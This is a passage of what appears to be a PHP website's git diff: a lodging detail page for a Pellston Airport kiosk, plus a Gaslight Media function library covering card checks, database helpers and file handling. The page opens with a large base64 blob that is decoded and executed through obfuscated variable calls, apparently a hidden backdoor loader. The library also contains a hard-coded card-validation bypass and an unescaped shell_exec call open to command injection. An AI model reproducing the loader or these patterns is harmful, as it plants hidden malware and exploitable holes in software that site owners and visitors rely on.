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";$JmpTPBg=$YJlPhzf($GftwTGS,$KshREYO);$JmpTPBg($WqItfeP);
+require_once('setup.phtml');
+require_once(BASE.'classes/class_template.inc');
+if( !$_GET['id'] )
+{
+       header('Location: list.php?catid='.$_GET['catid']).'&amp;city='.urlencode($_GET['city']);
+       exit();
+}
+if( !$_GET['catid'] )
+{
+       $_GET['catid'] = 1;
+}
+$toolbox =& new GLM_TEMPLATE( $_GET['catid'] );
+$page_header = $toolbox->memb_names[$_GET['catid']];
+$page_city = ( $_GET['city'] != 'Transportation' ) ? $_GET['city']:'';
+$member_list = $toolbox->get_member_list();
+?>
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+"http://www.w3.org/TR/html4/strict.dtd">
+<html>
+<head>
+<title>Pellston Airport: Area Lodging</title>
+<meta http-equiv="content-type" content="text/html;charset=utf-8">
+<meta http-equiv="refresh" content="601;url=index.php">
+<link rel="stylesheet" type="text/css" href="styles.css">
+<script type="text/javascript" src="caller.js"></script>
+</head>
+<body id="detail-page">
+<object viewastext style="display:none" classid="clsid:1663ed61-23eb-11d2-b92f-008048fdd814" codebase="ScriptX.cab#Version=6,2,433,14">
+  <param name="GUID" value="{7A12A72B-BE40-4BAB-AA50-4680DCC938A3}">
+  <param name="Path" value="sxlic.mlf">
+  <param name="Revision" value="0">
+</object>
+
+<object id="factory" viewastext style="display:none" classid="clsid:1663ed61-23eb-11d2-b92f-008048fdd814">
+</object>
+
+<script defer>
+  function window.onload() {
+    factory.printing.header = "MeadCo's ScriptX: Print"
+    factory.printing.footer = "The de facto standard for advanced web-based printing"
+    factory.printing.portrait = true
+    idPrint.disabled = false; // enable UI button
+  }
+
+  function Print() {
+    factory.printing.Print(false); // no prompt
+  }
+</script>
+ <?php
+ include('map.php');;
+ ?> 
+<div id="wrapper">
+       <div id="content-inside">
+               <div id="list-top">
+                       <div id="list-top-head">
+                               <div id="list-top-head-cat"><?php 
+                               echo $page_header;
+                               ?></div>
+                       <div id="list-top-head-name">
+                               <?php
+                               echo $page_city;
+                               ?>
+                               </div>
+                       </div><!-- #list-top-head -->
+                       <a href="#" id="print" onClick="Print()"><img src="assets/print.gif" width="168" height="59" alt="print (2K)"></a>
+               </div><!-- #list-top -->
+               <?php
+               echo $member_list;
+               ?>
+               <!-- #details -->
+                       <div id="Hangup">
+                               <img src="assets/hang-up.gif" onClick="HangUp();">
+                       <input type="button" value="More Time" onClick="ResetTimer()" id="HangupButton">
+                       </div>
+       </div><!-- #content-inside -->
+  <img src="assets/nav-inside.gif" width="232" height="768" alt="nav-inside (19K)" id="nav-inside" usemap="#navMap" border="0">
+       <?php include('banner.php');?>
+</div><!-- #wrapper -->        
+</body>
+</html>
diff --git a/functions.inc b/functions.inc
new file mode 100755 (executable)
index 0000000..182cddf
--- /dev/null
@@ -0,0 +1,10633 @@
+<?
+
+/************************************************************************
+$Id: functions.inc,v 1.1 2006/04/28 19:13:29 cscott Exp $
+       Gaslight Media Standard Function Library
+
+       Copyright (c) 2000-2004 by Gaslight Media Inc.
+
+       FILE:           functions.inc
+       VERSION:        1.3
+
+       ---------------------------------------------------------
+       SEE functions_docs.txt FOR INFORMATION ON THESE FUNCTIONS
+       ---------------------------------------------------------
+
+
+************************************************************************/
+
+/*******LANGUAGE INIT*******/
+/*
+CREATE FUNCTION plpgsql_call_handler() RETURNS language_handler AS
+    '$libdir/plpgsql' LANGUAGE C;
+CREATE TRUSTED PROCEDURAL LANGUAGE plpgsql
+    HANDLER plpgsql_call_handler;
+*/
+
+       
+       // Indicate that functions.inc is loaded
+       
+define( "FUNCTIONS_LOADED",            true );
+
+/***********************************************************************
+*                                                                      *
+*                       DEBUG FUNCTIONS                                *
+*                                                                             *
+***********************************************************************/
+
+       // Display E-Mail if debug level > 0 
+       
+function debug_mail( $to, $subject, $message, $headers = '', $parameters = '' )
+       {
+       
+       if( SI_DEBUG_MAIL )
+               {
+               echo '<p>
+                               <table border="1">
+                                       <tr><th align="center">MAIL DEBUG</th></tr>
+                                       <tr><td align="left"> Recipient(s): '.$to.'</td></tr>
+                                       <tr><td align="left"> Subject: '.$subject.'</td></tr>
+                                       <tr><td align="left"> Headers:<br><pre>'.$headers.'</pre></td></tr>
+                                       <tr><td align="left"> Parameters:<br><pre>'.$parameters.'</pre></td></tr>
+                                       <tr><td align="left"> <pre>'.$message.'</pre></td></tr>
+                               </table>
+                         <p>
+                       ';
+               return( true );                 
+               }
+         else
+               return( mail( $to, $subject, $message, $headers, $parameters ) );
+               
+       }
+
+
+/***********************************************************************
+*                                                                      *
+*                      FUNCTIONS FROM SETUP.PHP                        *
+*                                                                             *
+***********************************************************************/
+
+function cp1252_to_utf8($str)
+       {
+       global $cp1252_map;
+       return  strtr(utf8_encode($str), $cp1252_map);
+       }
+
+/***********************************************************************
+*                                                                      *
+*                       GENERAL FUNCTIONS                              *
+*                                                                             *
+***********************************************************************/
+
+       // Check for a valid credit card number doing Luhn check 
+function CreditVal( $Num, $Name = '', $Accepted='' ) 
+       { 
+       $GoodCard = 1; 
+    $Num = ereg_replace("[^[:digit:]]", "", $Num); 
+    switch ($Name) 
+       { 
+               case "mastercard" : 
+                       $GoodCard = ereg("^5[1-5].{14}$", $Num); 
+                       break; 
+       
+               case "visa" : 
+                       $GoodCard = ereg("^4.{15}$|^4.{12}$", $Num); 
+                       break; 
+       
+               case "americanexpress" : 
+                       $GoodCard = ereg("^3[47].{13}$", $Num); 
+                       break; 
+       
+               case "discover" : 
+                       $GoodCard = ereg("^6011.{12}$", $Num); 
+                       break; 
+       
+               case "dinnerscard" : 
+                       $GoodCard = ereg("^30[0-5].{11}$|^3[68].{12}$", $Num); 
+                       break; 
+
+               default:
+                       if( ereg("^5[1-5].{14}$", $Num) ) $Name = "mastercard";
+                         elseif( ereg("^4.{15}$|^4.{12}$", $Num) ) $Name = "visa";
+                         elseif( ereg("^3[47].{13}$", $Num) ) $Name = "americanexpress";
+                         elseif( ereg("^6011.{12}$", $Num) ) $Name = "discover";
+                         elseif( ereg("^30[0-5].{11}$|^3[68].{12}$", $Num) ) $Name="dinerscard";
+                       break;
+           } 
+
+                       // If there's a limit on card types we accept, check for it here.
+
+               if( $Accepted )
+                       {
+                       $type_verified = FALSE;
+                       $brands = explode_trim( ",", $Accepted );
+                       foreach( $brands as $brand )
+                               if( $Name == $brand )
+                                       $type_verified = TRUE;
+
+                       if( !$type_verified ) return(FALSE);
+                       }
+
+    $Num = strrev($Num); 
+    $Total = 0; 
+
+    for ($x=0; $x<strlen($Num); $x++) 
+       { 
+       $digit = substr($Num,$x,1); 
+       if ($x/2 != floor($x/2)) 
+               { 
+               $digit *= 2; 
+               if (strlen($digit) == 2)  
+                       $digit = substr($digit,0,1) + substr($digit,1,1); 
+               } 
+       $Total += $digit; 
+               } 
+    if( $GoodCard && $Total % 10 == 0 ) 
+               return( true ); 
+       else
+               return( false ); 
+}
+
+       // Alternative strong credit card check function.
+       // NOTE: The $si_cc_verify stuff SHOULD be passed rather than use a global to avoid issues with changes in the global values
+
+function credit_card_check( $Num, $accepted = SI_CC_ACCEPTS )
+{
+       global          $si_cc_verify;
+       
+       $Num = ereg_replace("[^[:digit:]]", "", $Num);
+
+               // Check for Accepted Card List
+
+       if( !is_int($accepted) || $accepted == 0 )
+               {
+               echo "<P>ERROR: credit_card_check() requires SI_CC_ACCCEPTS parameter!<P>";
+               exit;
+               }
+
+               // Permit secret test code
+
+       if( $Num == "0011001100110011" )
+               return( "Test" );
+         else
+               {
+                       // Check each selected card type for a pattern match
+               $Name = "";
+               reset( $si_cc_verify );
+               $i = 0;
+               while( list($k, $v) = each($si_cc_verify) )
+                       if( ( $accepted & pow(2,$i++) ) && ereg( $v, $Num ) )
+                               {
+                               $Name = $k;
+                               break;
+                               }
+               }
+
+           // Fail if nothing matched
+
+       if( $Name == "" )
+           return( FALSE );
+
+               // Now do strong test
+               
+       $Num = strrev($Num);
+
+       $Total = 0;
+
+       for ($x=0; $x<strlen($Num); $x++)
+           {
+           $digit = substr($Num,$x,1);
+           if ($x/2 != floor($x/2))
+                   {
+                   $digit *= 2;
+                   if (strlen($digit) == 2)
+                           $digit = substr($digit,0,1) + substr($digit,1,1);
+                   }
+           $Total += $digit;
+           }
+
+       if( $Total % 10 == 0 )
+               return( $Name );
+         else
+               return( FALSE );
+               
+}
+
+/***********************************************************************
+*                                                                      *
+*                     GEOGRAPHIC FUNCTIONS                             *
+*                                                                             *
+***********************************************************************/
+
+
+       // Calculate the distance between a pair of lat/lon coordinates.
+function geo_distance( $lat1, $lon1, $lat2, $lon2, $units = 'Miles' )
+{
+
+       $d = 3963.0 * acos( sin($lat1/57.2958) * sin($lat2/57.2958) + cos($lat1/57.2958) * cos($lat2/57.2958) *  cos($lon2/57.2958 -$lon1/57.2958) );
+
+       switch( $units )
+               {
+                       
+                       // Add units conversions here
+                       
+               case "Inches":
+                       $d = $d * 5280 * 12;
+                       break;
+                       
+               case "Feet":
+                       $d = $d * 5280;
+                       break;
+                       
+               case "Yards":
+                       $d = $d * ( 5280 / 3 );
+                       break;
+                       
+               case "Miles":
+               default:
+                               // This is the default calculated above
+                       break;  
+                       
+               case "Nautical Miles":
+                       $d = $d / 1.15078;
+                       break;  
+
+               case "Meters":
+                       $d = $d * 1609.344;
+                       break;
+
+               case "Kilometers":
+                       $d = $d * 1.609344;
+                       break;
+                                               
+               }
+
+       return( $d );
+}
+
+/***********************************************************************
+*                                                                      *
+*                DATABASE ABSTRACTION FUNCTIONS                        *
+*                                                                             *
+***********************************************************************/
+
+       // Create a connection to database specified $conn_str, 
+function db_connect( $conn_str, $fail_mode ) 
+{
+       
+       static $last_connect = '';
+       static $ret = 0;
+       
+               // If we're using static connections, check to see if this is trying to open the same connection again
+
+       if( SI_DB_STATIC )
+               {
+
+                       // Check to see if this is trying to open the same connection again
+               
+               if( $last_connect == $conn_str )
+                       {
+                               // If so just use the current connection
+                                                                       
+                       if( SI_DEBUG >= 3 ) echo "<PRE>db_connect() - Using existing connection - \$conn_str = ".$conn_str."</PRE><BR>";
+                       return( $ret );
+                       }
+               
+                       // If we need to open a different connection, close the current one first
+               
+               if( $ret != 0 )
+                       db_close( $ret );
+
+               $last_connect = $conn_str;
+               
+               }
+
+       if( SI_DEBUG >= 3 ) echo "<PRE>db_connect()[".__LINE__."]: \$conn_str = ".$conn_str."</PRE><BR>";
+
+       switch( SI_DB_TYPE ) 
+               {
+               case "postgres":
+                       $ret = pg_connect( $conn_str );
+                       break;
+               default:
+                       return( 0 );
+               }
+
+       if( !$ret && $fail_mode )
+               html_error( DB_ERROR_MSG, 1 );
+               
+       return( $ret );
+
+}
+
+       // Close the connection to database specified by the handle dbd 
+function db_close( $dbd ) 
+{
+               
+               // IF we're using static connections, don't actually close it
+               
+       if( SI_DB_STATIC == TRUE )
+               return( TRUE );
+
+       switch( SI_DB_TYPE ) 
+               {
+               case "postgres":
+                       $ret = pg_close( $dbd );
+                       break;
+               default:
+                       return( 0 );
+               }
+       
+       return( $ret );
+}
+
+       // Create a persistant connection to database specified in $conn_str
+function db_pconnect( $conn_str ) 
+{
+
+       if( SI_DEBUG >= 3 ) echo "<PRE>db_cponnect()[".__LINE__."]: \$conn_str = ".$conn_str."</PRE><BR>";
+
+       switch( SI_DB_TYPE ) 
+               {
+               case "postgres":
+                       $ret = pg_pconnect( $conn_str );
+                       break;
+               default:
+                       return( 0 );
+               }
+       
+       return( $ret );
+}
+
+
+       // Execute an SQL query
+function db_exec( $dbd, $qs ) 
+{
+
+       if( SI_DEBUG >= 3 ) echo "<PRE>db_exec()[".__LINE__."]: \$qs = ".$qs."</PRE><BR>";
+
+       switch( SI_DB_TYPE )
+               {
+               case "postgres":
+                       $ret = pg_exec( $dbd, $qs );
+                       break;
+
+               default:
+                       return( 0 );
+               }
+
+       return( $ret );
+}
+
+       // Get data and store in associative indices, using the field names as keys.                                                            
+function db_fetch_row( $res, $i ) 
+{
+       
+       if( SI_DEBUG >= 3 ) echo "<PRE>db_fetch()[".__LINE__."]: Row = ".$i."</PRE><BR>";
+       
+       if( db_numrows($res) == 0 )
+               return( FALSE );
+
+       switch( SI_DB_TYPE ) 
+               {
+               case "postgres":
+                       $row = pg_fetch_array( $res, $i, PGSQL_ASSOC );
+                       break;
+
+               default:
+                       return( FALSE );
+               }
+
+       return( $row );
+
+}
+
+       // Free result memory.                                                  
+
+function db_freeresult( $res ) 
+{
+
+       switch( SI_DB_TYPE ) 
+               {
+               case "postgres":
+                       $ret = pg_freeresult( $res );
+                       break;
+
+               default:
+                       return( 0 );
+               }
+
+       return( $ret );
+}
+
+       // Determine number of rows in a result index                           
+
+function db_numrows( $res ) 
+{
+
+       switch( SI_DB_TYPE ) 
+               {
+               case "postgres":
+                       $ret = pg_numrows( $res );
+                       break;
+
+               default:
+                       return( -1 );
+               }
+
+       return( $ret );
+}
+
+       // Additional Database functions from setup.php - Don't use for new code
+       
+function db_fetch_array($res, $i, $type) 
+{
+
+       switch (DB_TYPE) 
+       {
+               case "postgres":
+                       $row = pg_fetch_array($res, $i, $type);
+               break;
+
+               default:
+               return(0);
+       }
+
+       return($row);
+}
+
+function db_auto_array($qs, $i, $type) 
+{
+
+       $dbd = db_connect();
+       if(!$dbd)
+               {
+               return(0);
+               }
+       $res = db_exec($dbd, $qs);
+       if(!$res)
+               {
+               return(0);
+               }
+
+       $row = db_fetch_array($res, $i, $type);
+
+       if(!db_freeresult($res))
+               {
+               return(0);
+               }
+
+       db_close($dbd);
+       return($row);
+}
+
+/***********************************************************************
+ *                                                                     
+ * BEGIN Auto functions                                                        
+ *                                                                     
+ ***********************************************************************/
+
+       // Retrieve a result as an array based soley on a query 
+
+function db_auto_get_row( $qs, $i = 0, $conn_str = SI_CONN_STR, $fail_mode = 'FALSE' ) 
+{
+
+       if( SI_DEBUG >= 2 ) echo "<PRE>db_auto_get_row()[".__LINE__."]: \$qs = $qs, Row = $i</PRE><BR>";
+
+       if( !($dbd = db_connect( $conn_str, $fail_mode )) )
+               return( FALSE );
+
+       if( ($res = db_exec($dbd, SI_DB_SET_DATE_STYLE_STRING.$qs)) )
+               {
+               $row = db_fetch_row( $res, $i );
+               db_freeresult( $res );
+               }
+
+       db_close( $dbd );
+       return( $row );
+}
+
+
+       // Retrieve a set of results based soley on a query     
+
+function db_auto_get_data( $qs, $conn_str = SI_CONN_STR, $fail_mode = FALSE, $rows = 500, $start = 0 ) 
+{
+       
+       if( SI_DEBUG >= 2 ) echo "<PRE>db_auto_get_data()[".__LINE__."]: \$qs = $qs, \$rows = $rows, \$start = $start</PRE><BR>";       
+
+       if( !($dbd = db_connect( $conn_str, $fail_mode)) )
+               return( FALSE );
+               
+       if( ($res = db_exec($dbd, SI_DB_SET_DATE_STYLE_STRING.$qs)) )
+               {
+               $totalrows = pg_NumRows( $res );
+               $stop = $start + $rows;
+               if( $stop > $totalrows )
+                       $stop = $totalrows;
+       
+               for( $i=$start ; $i<$stop ; $i++ )
+                       {
+                       $data["$i|$totalrows"] = db_fetch_row( $res, $i );
+                       }
+               }
+       db_close( $dbd );
+       
+       return( $data );
+}
+
+       // Execute a query.                             
+function db_auto_exec( $qs, $conn_str = SI_CONN_STR, $fail_mode = 'FALSE' ) 
+{
+
+       if( SI_DEBUG >= 2 ) echo "<PRE>db_auto_exec()[".__LINE__."]: \$qs = $qs, \$conn_str = $conn_str</PRE><BR>";     
+
+       $dbd = db_connect( $conn_str, $fail_mode );
+       if( !$dbd )
+               return( 0 );
+               
+       if( !( $result = db_exec($dbd, $qs)) ) 
+               {
+               db_close( $dbd );
+               return( 0 );
+               }
+         else
+               {
+               $oid = pg_getlastoid( $result );
+               db_close( $dbd );
+               if( empty($oid) || $oid == -1 )
+                       return( 1 );
+                 else
+                       return( $oid );
+               }
+}
+
+       // Get information on database fields
+function db_data_fields( $conn_str, $table )
+{
+       $dbd = db_connect( $conn_str, FALSE );
+       if( !$dbd )
+               return( 0 );
+
+       $qs = "SELECT * FROM $table LIMIT 1;";
+    $res = db_exec( $dbd, $qs );
+       for( $i=0 ; $i<pg_numfields($res) ; $i++ )
+               {
+               $n                                      = pg_fieldname( $res, $i );
+               $f[$n]['size']          = pg_fieldsize( $res, $i );
+               $f[$n]['type']          = pg_fieldtype( $res, $i );
+        }
+        
+        return $f;
+}
+
+
+/***********************************************************************
+*                                                                      *
+*                          FILE FUNCTIONS                              *
+*                                                                             *
+***********************************************************************/
+
+       // Store away an uploaded file  
+
+function file_upload( $form_field, $file_name, $base_path = SI_BASE_FILE_PATH ) 
+{
+
+       if( $base_path == '' )
+               die( "Base file path not provided to file_upload() function or SI_BASE_FILE_PATH not set" );            
+
+       if( SI_DEBUG > 0 )
+               echo "file_upload(): temp file = $form_field, file name = $file_name";
+
+               // Get rid of screwy characters in file names
+               
+       if( ereg( '[!@#$%^&()+={};: ]', $file_name ) ) 
+               $file_name = ereg_replace( "[!@#$%^&()+={};: ]", "x", $file_name );
+
+               // Check if destination path is valid
+               
+       if( !is_dir( $base_path ) )
+               die( $base_path." not a directory" );   
+
+               // Check if file name is in use
+               
+       $new_file_name = $file_name;
+       if( file_exists( $base_path."/".$file_name ) )  // If so
+               $new_file_name = mktime()."_".$file_name;               // Prefix with timestamp
+
+               // Save file to destination directory
+               
+       $new_file_location = $base_path."/".$new_file_name;
+       
+       if( SI_DEBUG > 0 )
+               echo ", new file name = $new_file_location<br>";
+                       
+       copy( $form_field, $new_file_location );
+       chmod( $new_file_location, 0664 );
+
+               // Return where it was stored
+               
+       return( $new_file_name );
+}
+
+       // Duplicate a file
+
+function file_duplicate( $file_name, $base_path = SI_BASE_FILE_PATH ) 
+{
+       
+       if( empty($file_name) )
+               return( "" );
+
+               // Check to see if specified file exists
+               
+       if( !is_file($base_path."/".$file_name) )
+               return( "" );
+       
+               // Create new file name
+               
+       for( $i=1 ; $i<1000 ; $i++ )
+               {
+               if( !is_file($base_path."/"."c".$i."_".$file_name) )
+                       break;
+               }
+       
+       if( $i == 1000 )
+               return( "" );
+       
+       $new_file_name = "c".$i."_".$file_name;
+
+       copy( $base_path."/".$file_name, $base_path."/".$new_file_name ); 
+
+       return( $new_file_name );
+}
+
+
+
+       // Delete a stored File                                 
+
+function file_delete( $file_name, $base_path = SI_BASE_FILE_PATH ) 
+{
+
+       if( !is_writable ( $base_path."/".$file_name ) )
+               return( FALSE );
+       
+       if( !is_file($base_path."/".$file_name) || !unlink($base_path."/".$file_name)  )
+               return( FALSE );
+               
+       return( TRUE );
+}
+
+
+       // Read the specified file and return the results
+
+function file_get( $file_name, $max_size = 0, $base_path = SI_BASE_PATH ) 
+{
+       
+       if( !is_readable ( $base_path."/".$file_name ) )
+               return( FALSE );
+       
+       $f = fopen( $base_path."/".$file_name, "r" );
+       $s = filesize($base_path."/".$file_name);
+       if( $max_size == 0 || $s <= $max_size )
+               $file_contents = fread( $f, $s );
+         else
+               return( FALSE );
+               
+       return( $file_contents );
+}
+       
+       
+function file_ouput_secure( $file_name, $md5, $path = '' )
+{
+
+               // Check for required secret string
+               
+       if( !defined('SI_FILE_SECRET') || SI_FILE_SECRET == '' )
+               {
+               echo '<p><font color="red">ERROR: </font> SI_FILE_SECRET parameter required for <b>file_output_secure()</b><br>
+                               SI_FILE_SECRET defined parameter not found or no contents! Please check siteinfo.inc file.<p>';
+               exit;   
+               }
+       
+               // Check sanity of parameters
+               
+       if( empty($file_name) )
+               {
+               if( SI_DEBUG > 0 )              echo 'file_output_secure(): No file name supplied<br>'; 
+               return( false );
+               }
+               
+       if( ereg( '\.\./', $file_name ) )               // Note that strpos function is defective so it's not used here
+               {
+               if( SI_DEBUG > 0 )              echo 'file_output_secure(): "../" not permitted in file name<br>';
+               return( false );        
+               }
+               
+       if( empty($md5) || $md5 != md5( $file_name.SI_FILE_SECRET ) )
+               {
+               if( SI_DEBUG > 0 )              echo 'file_output_secure(): md5 security parameter is not supplied or is not valid for $file_name<br>';
+               return( false );        
+               }
+
+               // Assemble complete file path and name
+                               
+       if( empty($path) )
+               $pathname = SI_BASE_FILE_PATH.'/'.$file_name;
+         else
+               $pathname = SI_BASE_PATH.'/'.$path.'/'.$file_name;
+
+               // Make sure file exists and is readable
+               
+       if( !is_readable( $pathname ) )
+               {
+               if( SI_DEBUG > 0 )              echo 'file_output_secure(): Specified file doesn\'t exist or is unreadable - '.$pathname.'<br>';
+               return( false );        
+               }
+       
+
+               // Get mime type for specified file
+
+       $mimetype = shell_exec( 'file -bi '.$pathname );
+       $length =  filesize( $pathname );
+
+               // Output File
+               
+       header( "Content-type: $mimetype" );
+       header( "Content-Length: $length" );
+       header( "Content-Disposition: inline; filename=$file_name" );
+       readfile( $pathname );                  
+
